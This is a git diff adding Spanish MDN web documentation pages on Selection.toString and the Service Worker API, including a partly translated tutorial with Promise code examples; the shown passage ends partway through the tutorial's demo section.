new file mode 100644
index 0000000000..0a70de979b
--- /dev/null
+++ b/files/es/web/api/selection/tostring/index.html
@@ -0,0 +1,48 @@
+---
+title: toString
+slug: Web/API/Selection/toString
+tags:
+  - páginas_a_traducir
+translation_of: Web/API/Selection/toString
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Devuelve una cadena de caracteres (texto), la cual es representada por el objeto de selección, es decir, el texto seleccionado.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval"><i>string</i> =
+<i>sel</i>.toString()
+</pre>
+
+<ul>
+ <li><code>string</code> es la representación del texto de selección.</li>
+</ul>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h3>
+
+<p>Este método devuelve el texto seleccionado.</p>
+
+<p>En <a href="es/JavaScript">JavaScript</a>, este método es llamado automáticamente cuando una función, a la cual es pasado como parámetro el objeto de selección, requiere una cadena de caracteres (texto):</p>
+
+<pre class="eval">alert(window.getSelection()) // Lo que se llama.
+alert(window.getSelection().toString())  // Lo que está siendo efectivamente llamado.
+</pre>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<ul>
+ <li><a href="es/Core_JavaScript_1.5_Reference/Objects/Object/toString">Object.toString</a></li>
+</ul>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/Selection/toString", "fr": "fr/DOM/Selection/toString", "it": "it/DOM/Selection/toString", "pl": "pl/DOM/Selection/toString" } ) }}</p>
diff --git a/files/es/web/api/service_worker_api/index.html b/files/es/web/api/service_worker_api/index.html
new file mode 100644
index 0000000000..8b0b05e252
--- /dev/null
+++ b/files/es/web/api/service_worker_api/index.html
@@ -0,0 +1,311 @@
+---
+title: Service Worker API
+slug: Web/API/Service_Worker_API
+tags:
+  - API
+  - Landing
+  - NeedsTranslation
+  - Offline
+  - Overview
+  - Reference
+  - Service Workers
+  - TopicStub
+  - Workers
+translation_of: Web/API/Service_Worker_API
+---
+<div>
+<p>{{ServiceWorkerSidebar}}</p>
+
+<p class="summary">Los Service workers actúan esencialmente como proxy servers asentados entre las aplicaciones web, el navegador y la red (cuando está accesible). Están destinados, entre otras cosas, a permitir la creación de experiencias offline efectivas, interceptando peticiones de red y realizando la acción apropiada si la conexión de red está disponible y hay disponibles contenidos actualizados en el servidor. También permitirán el acceso a notificaciones tipo push y APIs de  sincronización en segundo plano.</p>
+</div>
+
+<h2 id="Conceptos_y_uso_de_Service_worker">Conceptos y uso de Service worker</h2>
+
+<p>Un service worker es un <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker">worker</a> manejado por eventos registrado para una fuente y una ruta. Consiste en un fichero JavaScript que controla la página web (o el sitio) con el que está asociado, interceptando y modificando la navegación y las peticiones de recursos, y cacheando los recursos de manera muy granular para ofrecer un control completo sobre cómo la aplicación debe comportarse en ciertas situaciones (la mas obvia es cuando la red no está disponible).</p>
+
+<p>Un service worker se ejecuta en un contexto worker: por lo tanto no tiene acceso al DOM, y se ejecuta en un hilo distinto al JavaScript principal de la aplicación, de manera que no es bloqueante. Está diseñado para ser completamente asíncrono, por lo que APIs como el <a href="/en-US/docs/Web/API/XMLHttpRequest">XHR</a> asíncrono y <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a> no se pueden usar dentro de un service worker.</p>
+
+<p>Los service workers solo funcionan sobre HTTPS, por razones de seguridad. Modificar las peticiones de red en abierto permitiría ataques man in the middle realmente peligrosos. En Firefox, las APIs de service worker se ocultan y no pueden ser empleadas cuando el usuario está en <a href="https://support.mozilla.org/en-US/kb/private-browsing-use-firefox-without-history">modo de navegación en privado</a>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Los Service Workers mejoran los intentos anteriores en este área tal como <a href="http://alistapart.com/article/application-cache-is-a-douchebag">AppCache</a> puesto que no hacen suposiciones sobre qué se está intentando hacer para luego tener que cortar cuando las suposiciones no son correctas; hay control granular sobre todos los aspectos.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Los Service workers hace un uso intensivo de las <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">promesas</a>, por lo que generalmente esperarán a que lleguen las respuestasas correspondientes, tras lo cual responderán con una acción de éxito o de fracaso. La arquitectura de promesas es ideal en este caso.</p>
+</div>
+
+<h3 id="Registro">Registro</h3>
+
+<p>Un service worker se registra primero mediante el método {{domxref("ServiceWorkerContainer.register()")}}. Si ha habido éxito, el service worker se descargará al cliente e intentará la instalación/activación (ver más abajo) de las URLs accedidas por el usuario dentro de todo su origen de datos, o dentro de algún subconjunto especificado por el autor.</p>
+
+<h3 id="Descarga_instalación_y_activación">Descarga, instalación y activación</h3>
+
+<p>En este punto, su service worker observará el siguiente ciclo de vida:</p>
+
+<ol>
+ <li>Descarga</li>
+ <li>Instalación</li>
+ <li>Activación</li>
+</ol>
+
+<p>El service worker se descaga inmediatamente cuando un usuario accede por primera vez a un sitio controlado por el mismo.</p>
+
+<p>Después de esto se descarga cada 24 horas aproximadamente. Se puede descargar con más frecuencia, pero <strong>debe</strong> ser descargado cada 24 horas para prevenir que una mala programación sea molesta durante mucho tiempo.</p>
+
+<p>La instalación se realiza cuando el fichero descargado es nuevo, es decir, diferente a otro service worker existente (comparado byte a byte), o si es el primero descargado para esta página/sitio.</p>
+
+<p>Si es la primera vez que el service worker está disponible se intenta la instalación, y tras una instalación satisfactoria se activa.</p>
+
+<p>Si ya existe un service worker disponible la nueva versión se instala en segundo plano, pero no se activa -en ese momento se llama <em>worker in waiting.</em> Sólo se activa cuando ya no hay más páginas cargadas que utilicen el antiguo service worker. En cuanto no hay más páginas de este estilo cargadas, el nuevo service worker se activa (pasando a ser el <em>active worker).</em> La activación se puede realizar antes mediante {{domxref("ServiceWorkerGlobalScope.skipWaiting()")}} y las páginas existentes se pueden llamar por el active worker usando {{domxref("Clients.claim()")}}.</p>
+
+<p>Presta atención a {{domxref("InstallEvent")}}; es habitual preparar tu service worker para usarlo cuando se dispara, por ejemplo creando una caché que utilice la API incorporada de almacenamiento, y colocando los contenidos dentro de ella para poder usarlos con la aplicación offline.</p>
+
+<p>También hay un evento <code>activate</code>. El momento en el que este evento se activa es, en general, un bueno momento para limpiar viejas cachés y demás cosas asociadas con la versión previa de tu service worker.</p>
+
+<p>Tu service worker puede responder a las peticiones usando el evento {{domxref("FetchEvent")}}. Puedes modificar la respuesta a estas peticiones de la manera que quieras, usando el método {{domxref("FetchEvent.respondWith") }}.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Dado que <code>oninstall</code>/<code>onactivate</code> puede tardar un poco en completarse, la especificación de service worker spec provee un método <code>waitUntil</code> que, cuando es llamado <code>oninstall</code> o <code>onactivate</code>, pasa una promesa. Los eventos funcionales no se envían al service worker hasta que la promesa se resuelve con éxito.</p>
+</div>
+
+<p>Para un tutorial completo que muestra cómo construir tu primer ejemplo básico, lee <a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a>.</p>
+
+<h2 id="Otras_posibilidades">Otras posibilidades</h2>
+
+<p>Los service workers también pueden usarse para cosas como:</p>
+
+<ul>
+ <li>Sincronización de datos en background</li>
+ <li>Responder a peticiones de recursos desde otros orígenes</li>
+ <li>Recibir actualizaciones centralizadas de datos costosos de calcular tales como geolocalización o giroscopio, de manera que muchas páginas puedan hacer uso de un mismo conjunto de datos</li>
+ <li>Compilación Client-side y gestión de dependencias de CoffeeScript, less, CJS/AMD modules, etc. para desarrollo</li>
+ <li>Enlace para servicios en background </li>
+ <li>Plantillas personalizadas basadas en ciertos patrones URL </li>
+ <li>Mejoras de rendimiento, por ejemplo pre-fetching de recursos que es probable que el usuario requiera en un futuro próximo, como las próximas imágenes de un album de fotos.</li>
+</ul>
+
+<p>En el futuro, los service workers podrán hacer una cantidad de cosas útiles para la plataforma web que estarán muy próximos a las aplicaciones nativas. Interesantement, otras especificacions pueden comenzar y lo harán a hacer uso del contexto de service worker, por ejemplo:</p>
+
+<ul>
+ <li><a href="https://github.com/slightlyoff/BackgroundSync">Sincronización en background</a>: Pone en marcha un service worker aunque el usuario no esté en el sitio de manera que las cachés se puedan actualizar, etc.</li>
+ <li><a href="/en-US/docs/Web/API/Push_API">Reacción a mensajes tipo push</a>: Pone en marcha un service worker para enviar a los usuarios un mensaje para notificarles de que hay disponible nuevos contenidos.</li>
+ <li>Reacción ante una fecha y hora determinados.</li>
+ <li>Creación de geo-fronteras</li>
+</ul>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("Cache") }}</dt>
+ <dd>Representa el almacenamiento para un par de objetos {{domxref("Request")}} / {{domxref("Response")}} que son cacheados como parte del ciclo de vida de {{domxref("ServiceWorker")}}.</dd>
+ <dt>{{domxref("CacheStorage") }}</dt>
+ <dd>Representa el almacenamiento de objetos {{domxref("Cache")}}. Proporciona un directorio maestro de todos los nombres de caché a los que puede acceder un {{domxref("ServiceWorker")}} y mantiene un mapa de nombres (strings) correspondientes a objetos {{domxref("Cache")}}.</dd>
+ <dt>{{domxref("Client") }}</dt>
+ <dd>Representa el ámbito de un cliente service worker. Un cliente service worker es bien un documento en un contexto de navador, bien un {{domxref("SharedWorker")}}, que está controlado por un worker activo.</dd>
+ <dt>{{domxref("Clients") }}</dt>
+ <dd>Representa un contenedor para una lista de objetos {{domxref("Client")}}; principal vía de acceso de los clientes service worker al origen actual.</dd>
+ <dt>{{domxref("ExtendableEvent") }}</dt>
+ <dd>Extiende el tiempo de vida de los eventos<code>install</code> y <code>activate</code> lanzados en {{domxref("ServiceWorkerGlobalScope")}} como parte del ciclo de vida del service worker. Esto asegura que cualquier evento funcional (como {{domxref("FetchEvent")}}) no se despachan al {{domxref("ServiceWorker")}} hasta que actualiza los esquemas de base de datos, borra entradas de caché antiguas, etc.</dd>
+ <dt>{{domxref("ExtendableMessageEvent") }}</dt>
+ <dd>Es el objeto evento de un {{event("message_(ServiceWorker)","message")}} lanzado en un service worker (cuando se recibe un mensaje en el {{domxref("ServiceWorkerGlobalScope")}} desde otro contexto) — extiende el tiempo de vida de tales eventos.</dd>
+ <dt>{{domxref("FetchEvent") }}</dt>
+ <dd>Parametro pasado en el controlador {{domxref("ServiceWorkerGlobalScope.onfetch")}}, <code>FetchEvent</code> representa una acción de consulta (fetch) despachada en el {{domxref("ServiceWorkerGlobalScope")}} de un {{domxref("ServiceWorker")}}. Contiene información sobre la petición y respuesta resultante, y proporciona el método {{domxref("FetchEvent.respondWith", "FetchEvent.respondWith()")}}, que nos permite proporcionar una respuesta arbitraria a la página controlada.</dd>
+ <dt>{{domxref("InstallEvent") }}</dt>
+ <dd>Parámetro pasado en el controlador {{domxref("ServiceWorkerGlobalScope.oninstall", "oninstall")}}, el interfaz<code>InstallEvent</code> representa una acctión de instalación realizada en el {{domxref("ServiceWorkerGlobalScope")}} de un {{domxref("ServiceWorker")}}. Como hijo de {{domxref("ExtendableEvent")}}, asegura que los eventos funcionales como {{domxref("FetchEvent")}} no se llevan a cabo durante la instalación. </dd>
+ <dt>{{domxref("Navigator.serviceWorker") }}</dt>
+ <dd>Devuelve un objeto {{domxref("ServiceWorkerContainer")}}, que proporciona acceso al registro, eliminación, actualización y comunicación con los objetos {{domxref("ServiceWorker")}} para el <a href="https://html.spec.whatwg.org/multipage/browsers.html#concept-document-window">documento asociado</a>.</dd>
+ <dt>{{domxref("NotificationEvent") }}</dt>
+ <dd>Parámetro pasado en el controlador {{domxref("ServiceWorkerGlobalScope.onnotificationclick", "onnotificationclick")}}, el interfaz <code>NotificationEvent</code> representa una notificación del evento click ejecutado en  {{domxref("ServiceWorkerGlobalScope")}} de un {{domxref("ServiceWorker")}}.</dd>
+ <dt>{{domxref("ServiceWorker") }}</dt>
+ <dd>Representa un service worker. Multiples contextos de navegación (e.g. pages, workers, etc.) se pueden asociar con el mismo objeto <code>ServiceWorker</code>.</dd>
+ <dt>{{domxref("ServiceWorkerContainer") }}</dt>
+ <dd>Proporciona un objeto que representa el service worker como una unidad en el ecosistema de red, incluyendo servicios para registrar, eliminar y actualizar los service workers, y acceder al estado de los service workers y sus registros.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope") }}</dt>
+ <dd>Representa el contexto global de ejecución de un service worker.</dd>
+ <dt>{{domxref("ServiceWorkerMessageEvent")}} {{deprecated_inline}}</dt>
+ <dd>Representa un mensaje envaido a un{{domxref("ServiceWorkerGlobalScope")}}. <strong>Observese que este interfaz está considerado obsoleto en navegadores modernos. Los mensajes de service worker no podrán utilizar el interfaz {{domxref("MessageEvent")}}, por consistencia con otras características de mensajería web.</strong></dd>
+ <dt>{{domxref("ServiceWorkerRegistration") }}</dt>
+ <dd>Representa un registro service worker.</dd>
+ <dt>{{domxref("SyncEvent")}} {{non-standard_inline}}</dt>
+ <dd>
+ <p>El interfaz SyncEvent representa una acción sync ejecutada en el {{domxref("ServiceWorkerGlobalScope")}} de un ServiceWorker. </p>
+ </dd>
+ <dt>{{domxref("SyncManager")}} {{non-standard_inline}}</dt>
+ <dd>Proporciona un interfaz para registrar y listar registros sync.</dd>
+ <dt>{{domxref("WindowClient") }}</dt>
+ <dd>Representa el ámbito de un cliente service worker que es un documento en un contexto de navegador, controlado por un worker activo. Es un tipo especial de objeto {{domxref("Client")}}, con algunos métodos y propiedades adicionales disponibles.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{ CompatibilityTable() }}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[2]</sup></td>
+   <td>{{ CompatNo() }}</td>
+   <td>24</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>install/activate events</td>
+   <td>{{ CompatChrome(40.0) }}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[2]</sup></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>fetch event/request/<br>
+    <code>respondWith()</code></td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[2]</sup></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>caches/cache</td>
+   <td>
+    <p class="p1">{{CompatChrome(42.0)}}</p>
+   </td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{ CompatGeckoDesktop("39.0") }}<sup>[2]</sup></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("ServiceWorkerMessageEvent")}} deprecated in favour of {{domxref("MessageEvent")}}</td>
+   <td>
+    <p class="p1">{{CompatChrome(57.0)}}</p>
+   </td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatGeckoDesktop("55.0") }}<sup>[2]</sup></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td> install/activate events</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>fetch event/request/<br>
+    <code>respondWith()</code></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>caches/cache</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{ CompatGeckoMobile("39.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("ServiceWorkerMessageEvent")}} deprecated in favour of {{domxref("MessageEvent")}}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>
+    <p class="p1">{{CompatChrome(57.0)}}</p>
+   </td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatGeckoMobile("55.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Esta característica aún no está soportada, aunque está  <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/status/serviceworker/">ya en desarrollo</a>.</p>
+
+<p>[2] Service workers (y <a href="/en-US/docs/Web/API/Push_API">Push</a>) han sido inhabilitados en <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 &amp; 52 Extended Support Releases</a> (ESR.)</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://serviceworke.rs">ServiceWorker Cookbook</a></li>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a></li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+ <li><a href="https://www.fastly.com/blog/best-practices-for-using-the-vary-header">Best Practices for using the VARY header</a></li>
+</ul>
diff --git a/files/es/web/api/service_worker_api/using_service_workers/index.html b/files/es/web/api/service_worker_api/using_service_workers/index.html
new file mode 100644
index 0000000000..d687cddd19
--- /dev/null
+++ b/files/es/web/api/service_worker_api/using_service_workers/index.html
@@ -0,0 +1,526 @@
+---
+title: Usando Service Workers
+slug: Web/API/Service_Worker_API/Using_Service_Workers
+tags:
+  - Guía
+  - básico
+translation_of: Web/API/Service_Worker_API/Using_Service_Workers
+---
+<p>{{ServiceWorkerSidebar}}</p>
+
+<p>{{ SeeCompatTable() }}</p>
+
+<div class="summary">
+<p>Este articulo provee información sobre cómo empezar con los service workers, incluyendo su arquitectura básica, el registro de un service worker, el proceso de instalación y activación de un nuevo service worker, cómo actualizar un service worker, controlar su cache y respuestas personalizadas, todo esto en el contexto de una simple aplicación con la capacidad de trabajar offline (sin internet).</p>
+</div>
+
+<h2 id="La_premisa_de_los_service_workers">La premisa de los service workers</h2>
+
+<p>Un problema primordial que los usuarios de la web han sufrido durante años es la pérdida de conectividad. La mejor aplicación web en el mundo ofrecerá una experiencia de usuario terrible si simplemente no se puede utilizar. Han habido varios intentos de crear tecnologías para resolver este problema, como muestra nuestra página <a href="https://developer.mozilla.org/en-US/Apps/Build/Offline">offline</a>, y algunos problemas han sido solucionados. Pero el problema primordial es que todavía no hay un mecanismo de control eficiente para el almacenamiento en caché de activos y solicitudes de red personalizadas.</p>
+
+<p>El mecanismo previamente utilizado -el AppCache- parecía una buena idea porque te permitía especificar los recursos que almacenarías en caché de una forma realmente fácil. Sin embargo, AppCache presuponía lo que el desarrollador trataba de crear y fallaba demasiado cuando la aplicación no se comportaba exactamente según las suposiciones iniciales. Veáse el artículo de Jake Archibald <a href="http://alistapart.com/article/application-cache-is-a-douchebag">Application Cache is a Douchebag</a> para más información.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: A partir de Firefox 44, cuando se usa <a href="/en-US/docs/Web/HTML/Using_the_application_cache">AppCache</a> para proveer soporte offline a una página se muestra un mensaje de advertencia en la consola aconsejandole al desarrollador para que  use <a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Service workers</a> en su lugar ({{bug("1204581")}}.)</p>
+</div>
+
+<p>Los Service workers deberían finalmente solucionar estos inconvenientes. Aunque la sintaxis de Service Worker es más compleja que la de AppCache, presenta la ventaja de que puede usar JavaScript para controlar los recursos de cache con gran detalle, permitiendo gestionar los problemas asociados a  AppCache, y muchos más.</p>
+
+<p>Al utilizar un Service Worker, puedes configurar fácilmente una aplicación para que utilice primero los recursos en caché antes de obtener alguna información de la red (Comunmente conocido como <a href="/es/docs/">Offline First</a>) lo que proporciona la experiencia de uso predeterminada incluso cuando se está offline. Este paradigma se usa en aplicaciones nativas, y es una de las principales razones por las que a menudo éstas se eligen por encima de las aplicaciones web.</p>
+
+<h2 id="Setting_up_to_play_with_service_workers">Setting up to play with service workers</h2>
+
+<p>Many service workers features are now enabled by default in newer versions of supporting browsers. If however you find that demo code is not working in your installed versions, you might need to enable a pref:</p>
+
+<ul>
+ <li><strong>Firefox Nightly</strong>: Go to <code>about:config</code> and set <code>dom.serviceWorkers.enabled</code> to true; restart browser.</li>
+ <li><strong>Chrome Canary</strong>: Go to <code>chrome://flags</code> and turn on <code>experimental-web-platform-features</code>; restart browser (note that some features are now enabled by default in Chrome.)</li>
+ <li><strong>Opera</strong>: Go to <code>opera://flags</code> and enable <code>Support for ServiceWorker</code>; restart browser.</li>
+</ul>
+
+<p>You’ll also need to serve your code via HTTPS — Service workers are restricted to running across HTTPS for security reasons. GitHub is therefore a good place to host experiments, as it supports HTTPS. In order to facilitate local development, <code>localhost</code> is considered a secure origin by browsers as well.</p>
+
+<h2 id="Basic_architecture">Basic architecture</h2>
+
+<p>With service workers, the following steps are generally observed for basic set up:</p>
+
+<ol>
+ <li>The service worker URL is fetched and registered via {{domxref("serviceWorkerContainer.register()")}}.</li>
+ <li>If successful, the service worker is executed in a {{domxref("ServiceWorkerGlobalScope") }}; this is basically a special kind of worker context, running off the main script execution thread, with no DOM access.</li>
+ <li>The service worker is now ready to process events.</li>
+ <li>Installation of the worker is attempted when service worker-controlled pages are accessed subsequently. An Install event is always the first one sent to a service worker (this can be used to start the process of populating an IndexedDB, and caching site assets). This is really the same kind of procedure as installing a native or Firefox OS app — making everything available for use offline.</li>
+ <li>When the <code>oninstall</code> handler completes, the service worker is considered installed.</li>
+ <li>Next is activation. When the service worker is installed, it then receives an activate event. The primary use of <code>onactivate</code> is for cleanup of resources used in previous versions of a Service worker script.</li>
+ <li>The Service worker will now control pages, but only those opened after the <code>register()</code> is successful. i.e. a document starts life with or without a Service worker and maintains that for its lifetime. So documents will have to be reloaded to actually be controlled.</li>
+</ol>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12636/sw-lifecycle.png" style="display: block; height: 867px; margin: 0px auto; width: 579px;"></p>
+
+<p>The below graphic shows a summary of the available service worker events:</p>
+
+<p><img alt="install, activate, message, fetch, sync, push" src="https://mdn.mozillademos.org/files/12632/sw-events.png" style="display: block; margin: 0px auto;"></p>
+
+<h3 id="Promises">Promises</h3>
+
+<p>Las promesas (<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a>) son un gran mecanismo para ejecutar operaciones asíncronas,  con éxito dependiente el uno del otro. Esto es fundamental para la forma en que trabajan los service workers.<br>
+ <br>
+ Promises can do a great many things, but for now, all you need to know is that if something returns a promise, you can attach <code>.then()</code> to the end and include callbacks inside it for success, failure, etc., or you can insert <code>.catch()</code> on the end if you want to include a failure callback.</p>
+
+<p>Let’s compare a traditional synchronous callback structure to its asynchronous promise equivalent.</p>
+
+<h4 id="sync">sync</h4>
+
+<pre class="brush: js">try {
+  var value = myFunction();
+  console.log(value);
+} catch(err) {
+  console.log(err);
+}</pre>
+
+<h4 id="async">async</h4>
+
+<pre class="brush: js">myFunction().then(function(value) {
+  console.log(value);
+}).catch(function(err) {
+  console.log(err);
+});</pre>
+
+<p>In the first example, we have to wait for <code>myFunction()</code> to run and return <code>value</code> before any more of the code can execute. In the second example, <code>myFunction()</code> returns a promise for <code>value</code>, then the rest of the code can carry on running. When the promise resolves, the code inside <code>then</code> will be run, asynchronously.<br>
+ <br>
+ Now for a real example — what if we wanted to load images dynamically, but we wanted to make sure the images were loaded before we tried to display them? This is a standard thing to want to do, but it can be a bit of a pain. We can use <code>.onload</code> to only display the image after it’s loaded, but what about events that start happening before we start listening to them? We could try to work around this using <code>.complete</code>, but it’s still not foolproof, and what about multiple images? And, ummm, it’s still synchronous, so blocks the main thread.<br>
+ <br>
+ Instead, we could build our own promise to handle this kind of case. (See our <a href="https://github.com/mdn/promises-test">Promises test</a> example for the source code, or <a href="https://mdn.github.io/promises-test/">look at it running live</a>.)</p>
+
+<p>{{note("A real service worker implementation would use caching and onfetch rather than the deprecated XMLHttpRequest API. Those features are not used here so that you can focus on understanding Promises.")}}</p>
+
+<pre class="brush: js">function imgLoad(url) {
+  return new Promise(function(resolve, reject) {
+    var request = new XMLHttpRequest();
+    request.open('GET', url);
+    request.responseType = 'blob';
+
+    request.onload = function() {
+      if (request.status == 200) {
+        resolve(request.response);
+      } else {
+        reject(Error('Image didn\'t load successfully; error code:' + request.statusText));
+      }
+    };
+
+    request.onerror = function() {
+      reject(Error('There was a network error.'));
+    };
+
+    request.send();
+  });
+}</pre>
+
+<p>We return a new promise using the <code>Promise()</code> constructor, which takes as an argument a callback function with <code>resolve</code> and <code>reject</code> parameters. Somewhere in the function, we need to define what happens for the promise to resolve successfully or be rejected — in this case return a 200 OK status or not — and then call <code>resolve</code> on success, or <code>reject</code> on failure. The rest of the contents of this function is fairly standard XHR stuff, so we won’t worry about that for now.</p>
+
+<p>When we come to call the <code>imgLoad()</code> function, we call it with the url to the image we want to load, as we might expect, but the rest of the code is a little different:</p>
+
+<pre class="brush: js">var body = document.querySelector('body');
+var myImage = new Image();
+
+imgLoad('myLittleVader.jpg').then(function(response) {
+  var imageURL = window.URL.createObjectURL(response);
+  myImage.src = imageURL;
+  body.appendChild(myImage);
+}, function(Error) {
+  console.log(Error);
+});</pre>
+
+<p>On to the end of the function call, we chain the promise <code>then()</code> method, which contains two functions — the first one is executed when the promise successfully resolves, and the second is called when the promise is rejected. In the resolved case, we display the image inside <code>myImage</code> and append it to the body (it’s argument is the <code>request.response</code> contained inside the promise’s <code>resolve</code> method); in the rejected case we return an error to the console.</p>
+
+<p>This all happens asynchronously.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can also chain promise calls together, for example:<br>
+ <code>myPromise().then(success, failure).then(success).catch(failure);</code></p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: You can find a lot more out about promises by reading Jake Archibald’s excellent <a href="http://www.html5rocks.com/en/tutorials/es6/promises/">JavaScript Promises: there and back again</a>.</p>
+</div>
+
+<h2 id="Service_workers_demo">Service workers demo</h2>
+
+<p>To demonstrate just the very basics of registering and installing a service worker, we have created a simple demo called <a href="https://github.com/mdn/sw-test">sw-test</a>, which is a simple Star wars Lego image gallery. It uses a promise-powered function to read image data from a JSON object and load the images using Ajax, before displaying the images in a line down the page. We’ve kept things static and simple for now. It also registers, installs, and activates a service worker, and when more of the spec is supported by browsers it will cache all the files required so it will work offline!</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8243/demo-screenshot.png" style="display: block; height: 410px; margin: 0px auto; width: 480px;"><br>
+ <br>
+ <br>
